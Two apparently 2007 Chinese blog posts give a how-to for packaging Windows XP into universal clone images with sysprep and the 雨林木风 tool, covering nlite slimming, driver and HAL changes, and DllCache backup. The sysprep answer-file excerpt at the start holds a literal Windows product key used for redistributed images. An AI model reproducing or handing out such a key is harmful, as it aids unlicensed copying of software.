    OEMSkipRegional=1
    OEMDuplicatorstring="Climbing"
    TimeZone=210
    OemSkipWelcome=1
    AutoLogon=Yes
    AutoLogonCount=1

[UserData]
    ProductKey=QC986-27D34-6M3TY-JJXP9-TBGMD
    FullName="Climbing"
    OrgName="www.mscode.cc"
    ComputerName=Climbing-clone-xp

[TapiLocation]
    CountryCode=86
    Dialing=Tone
    AreaCode=0312

[RegionalSettings]
    LanguageGroup=10
    Language=00000804

[Identification]
    JoinWorkgroup=WORKGROUP

[Networking]
    InstallDefaultComponents=Yes

[sysprepcleanup]

[GuiRunOnce]
command0="C:\Windows\GuiRunOnce.BAT"

封装完成后,不要忘了在设备管理器中检查IDE控制器是否为标准双通道和计算机类型是否为Standard PC,如果不是,请手工改之。还有,这时不要忘了清除象intelide和intelppm这样不兼容的驱动。

(5)修改c:\msprep.ini,对里面的参数进行适当的设置。例如我的部分设置:

[Sysprep]
Cuser=Administrator
timeout=5
Setip=4
ext=windows\autohalx.cmd
IP=
Wcome=
...

然后将对应的批处理文件放到适当的位置。例如将GuiRunOnce.BAT和autohalx.cmd放到windows目录下,这些都是我自己编写的批处理。

(6)关于DllCacheManager的使用。你可以在这一步进行,也可以在第(2)步前进行,都没有关系,因为它的主要目的就是给克隆减肥,缩小克隆文件的体积。至于DllCache的恢复,本论坛(mscode.cc)的S&R&S专区曾经有人专门总结过(据说榕榕的教程中也有详细的介绍)。至于我个人,我只用DllCacheManager备份DllCache(万一用到了我可以手工恢复),但在给人安装克隆系统后,我从来没有恢复过DllCache,因为我一般在装完系统后是要给人安装一键恢复系统并给它制作克隆的。我自己制作的通用克隆只给自己用(就是给朋友装机),既然有了克隆,我觉得DllCache的意义就不大了,系统坏了大不了恢复克隆就行了。而且,只有菜鸟才会给系统装需要用到DllCache的乱七八糟的软件,我一般建议菜鸟不要随意安装软件,系统坏了就一键恢复,呵呵。

(7)启动到DOS给系统做克隆,这样一个通用克隆系统就完成了制作。有人在克隆之前还要整理磁盘、卸载驱动啥的,个人感觉毫无意义,因此从来不做。

另外,在(3)-(6)的步骤中,我是从来不重新启动计算机的,整个过程都是一气呵成。


(8)首先在母机上对刚刚封装完成的系统进行测试,如果本机恢复都有问题,那么基本上这个克隆就是失败的,也不用到别的机器上进行测试了。如果本机恢复没有问题,那么就可以开始用其它平台的机器对刚制作的克隆进行测试了。记住,一个完美的克隆系统是不断完善的结果,发现了问题要及时解决。

基本上,我每次封装系统都是按照这个步骤,当然,我自己写了很多批处理来自动化大部分操作,但我认为,人是决定性的,任何步骤的进行都是由人来控制的,而不能反过来让人受制于机器和某个软件,这就是你能成为高手的基础。我制作的克隆系统几乎很少遇到失败的情况,就算遇到了,我也能找到解决的办法,因为我知道问题可能会出在哪里。最一般的问题就是MassStorage驱动的问题,例如没有加载对应的驱动(这需要完善S&R&S和ASRTools来解决),或者加载的驱动太多,驱动之间存在不兼容问题,例如Intelide和Intelppm的问题等。如果遇到这种问题,只需要采取对应的措施即可解决。总之,暂时我还没有发现我解决不了的问题。

- 作者: LasOn 2007年04月1日, 星期日 23:55  回复(2) |  引用(1) 加入博采

使用雨林系统封装工具的要点说明
一 系统准备工作  

[万事开头难,做一个好的作品并不容易。从点点滴滴开始。注ps为制作心得和相关日志]

                ~~第一部分准备系统母盘~~

一个好的母盘决定了系统的特性,所以选择好的母盘时必要的。好的母盘是一个作品最重要的部分
这部分工作是必要的基石。新手喜欢采用别人的成品盘做修改版,但是这样很难做出自己的风格并且遇到兼容错误比较麻烦。故新手谨慎选择~~。


这部分我们使用nlite处理母盘。精简多余组件来达到优化组合的目的
ps:1。这次我的纪念版母盘采用msdn592m原版精简制作。
    2。msdn592原版是现在系统的通用母盘,很经典 推荐新手使用~~
    3。母盘精简时注意 有个二次启动的东西切忌不要精简否则封装后进不去系统的
   
注:常见作品都是用msdn的592原版处理做母盘的。推荐打家也使用这个。


        ~~第二部分:收集必要的软件~~~~

  1。预做其事必先利其器,精心选择工具是制作良好作品的前提。工具软件的选择也是一个作品用户取向的提前。请初学者谨慎预装软件

  2。常用相关软件
封装软件 ,dllcache备份,必要的输入法 ,优化调整软件和相关注册脚本,预装程序
驱动包   ,预装壁纸和驱动   企业部署工具包DEPLOY.CAB
ps1。我的纪念版采用雨林木风系统封装工具SPTool_Setup~雨林dllcache2.0备份~
  2。系统封装程序的选择是风格的体现,好的封装工具可以得到更好的兼容性
  3。特别版预装软件列表[更新中~~]
    莫妮卡KMP-player[现在最好的kmp常规修改版]
      MS mediaplay11
      MS ie7.0
      遨游浏览器雨林木风特别版
   
 
              ~~第三部分:安装操作系统

1。正常安装操作系统并打好系统安全补丁。
安装应用软件
2。安装注册并设置好你所需要的应用软件。
3。安装封装工具 并复制企业部署工具包DEPLOY.CAB中的文件到配置目录
4。关闭系统还原 若以精简过则不必
5。清理磁盘,删除系统和IE临时文件
6。使用DllCacheManager备份DllCache目录文件(dll文件)

ps:1。制作平台的好坏对于系统兼容性很重要请大家谨慎选择。
    2。系统的减肥建议大家采用处理母盘的方式。这样不容易出错。

                二 系统前期处理

1。针对不同用户组对预封装系统进行精简处理
  特别注意~~系统驱动部分不得精简会导致封装程序错误
2。安装预装软件并整理磁盘目录建立目录体系
  良好的目录规划会给你制作系统和处理文件提供很好的帮助
3。进行系统优化处理
ps 最好手工处理 不建议使用软件优化~~

      ~~ 第一部分 封装准备工作 ~~

(1)驱动处理    
1。更改计算机电源管理模式 Advanced Configuration Power Interface(ACPI) 为 Standard PC
2。更改IDE ATA/ATAPI控制器为“标准双通道 PCI IDE 控制器
(2)软件残留信息处理
(3)配置常用软件
(4)安装封装工具处理sysprep目录内容
(5)配置系统背景和美化项目
3。处理安装时的dllcache还原参数和系统首次运行需要提前解压的东西


      ~~第二部分 系统封装~~


  雨林木风系统封装工具的使用~~[这里主要介绍这个工具]

1。推荐新手采用默认安装选项(标准安装)
2。界面功能说明
      封装选项部分
ps: 可全部勾选 更改电源模式和修改ide控制器是必须的建议提前手工处理一下
      部署选项部分
扩展程序接口是很有用的功能 ;隐藏批处理界面是为了美观
注意:封装建议采用800*600的分辨率 若非必要严禁更改
3。检错功能的说明
  这部分只检查驱动和封装工具 如果你自己更改过系统默认的驱动则要注意驱动的完整
ps:新手不建议修改系统默认的驱动包。

4.关于系统封装工具的使用
注意以下几点 勾选不重新产生sid ,最小化安装,封装选项选择退出 这点很重要


      ~~第三部分 系统打包~~
这部分相信大家都不会陌生。因为时间关系暂时不写这方面的教程了~~见谅~~

    ~~第四部分 特殊处理~~~
1。如果需要手动美化的朋友请注意
手工美化对系统原版的要求较高新手在替换shell32等文件时可能会因为版本错误导致安装蓝屏
手工美化建议采用备份法替换 文件替换操作在打完补丁后用replace命令或在pe环境下处理
ps replace是一个很强的命令 可直接替换正在使用的系统文件 很强~~
2。使用美化包的同志 安装美化包请在软件配置前完成
ps 不建议采用安装所有程序后修改配置方法 安一个修改一个不易出错
3。   驱动的制作~~ 需要提前解压的朋友请使用老虎的端口 。比较方便。老虎对特殊文件进行过特殊处理
4。封装界面的制作 清替换system32下的setup。bmp文件~~
 
  ~~第五部分 给新手里礼物 ~~~
有很多新手不明白封装究竟是在干什么 再此给新手朋友们一点小礼物~~新手朋友们仔细看哦

    三 使用封装工具需要注意的问题

1。无论是雨林的还是龙帝国的对于ide控制器和计算机类型这两个工作建议在封装前手工处理:
虽然自动处理也可以但是为了兼容期间 建议采用手工处理方式
2。做封装最简单的步骤 1。安装系统 2。设置软件3。处理驱动4。封装工具检错(雨林专有)
              5。 封装 6。系统打包 7。发布
ps:给新手的大纲 看看自己什么地方没有做到吧。
3。新手雨林封装工具的选项说明: 新手勾选所有部署选项和封装选项的最后两项执行检错没问题后封装。这是我测试时的选项。也是最不容易出问题的。前提是你有手工修改完ide和计算机类型。
4。新手长犯的错误。 (1)清理驱动时不注意顺序。
                    (2)清理驱动不彻底
                    (3)用编译技术精简时不注意软件配置环节
                    (4)系统目录混乱导致软件冲突 。。。
                    (5)用精简版封装但是忽略了原盘是否支持二次启动。
                    (6)srs驱动不是越多越好 尽量用原版封装工具。不要随便扩充srs驱动
                    (7)集成驱动的注意。部分驱动容易引起冲突。新手不建议手动扩充驱动包。
            (8)在虚拟机中测试成功但在实机上操作失败的请检查集成驱动配置
            (9)美化过度导致系统文件和部分程序冲突
            (10)喜欢集成杀软 但是兼容性处理不到位
          (11)注意以下几点 勾选不重新产生sid ,最小化安装,封装选项选择退出 这点很重要
         
  ps:我测试木鸟的asr时发现那个工具的驱动集成的越多越容易出问题,如需要 用这个建议使用1.2版


  ~~~~第四部分 疑难解答~~~
首先告诉大家一个好消息 我的新版(就是已经发布了的那个gho)采用dps驱动封装这种封装的好处就是不用区分系统版本了~~
以后只要有对应的部署文件就可以采用老虎的工具进行处理~~

下面解答问题
1。nlite是精简系统的工具我们可以用这个软件精简系统盘~~
我说nlite母盘就是指使用nlite处理过的母盘
ps:我的母盘使用nlite1.3f版处理
母盘就是原系统也就是部署前的系统~~
2。更改计算机电源管理模式和PCI IDE 控制器在硬件管理器中修改
选择更新驱动后点不要搜索就可以安装了
3。驱动部署分为3个部分 第一个部分是原系统驱动缓存
              第二个部分是srs或者dts驱动(封装时识别硬件用的)
              第三部分是系统使用的附属驱动包~~
              第一部分采用cab格式放在系统目录的driver cache (应该是这个 回来查下)里文件名为driver。cab
              第二部分是封装使用的一版封装工具自带
              第三部分的部署稍后专门开一个部分讲解
4。做启动盘的问题请详细说明你要做什么盘。另外雨林坛子里本来就有一部分的。
5.处理注册表一般是更改系统配置来达到优化的目的。
精简工作应该在软件安装之前进行~~~

6.微软的封装是基础 雨林的封装是处理后期工作的~~

- 作者: LasOn 2007年04月1日, 星期日 22:37  回复(0) |  引用(1) 加入博采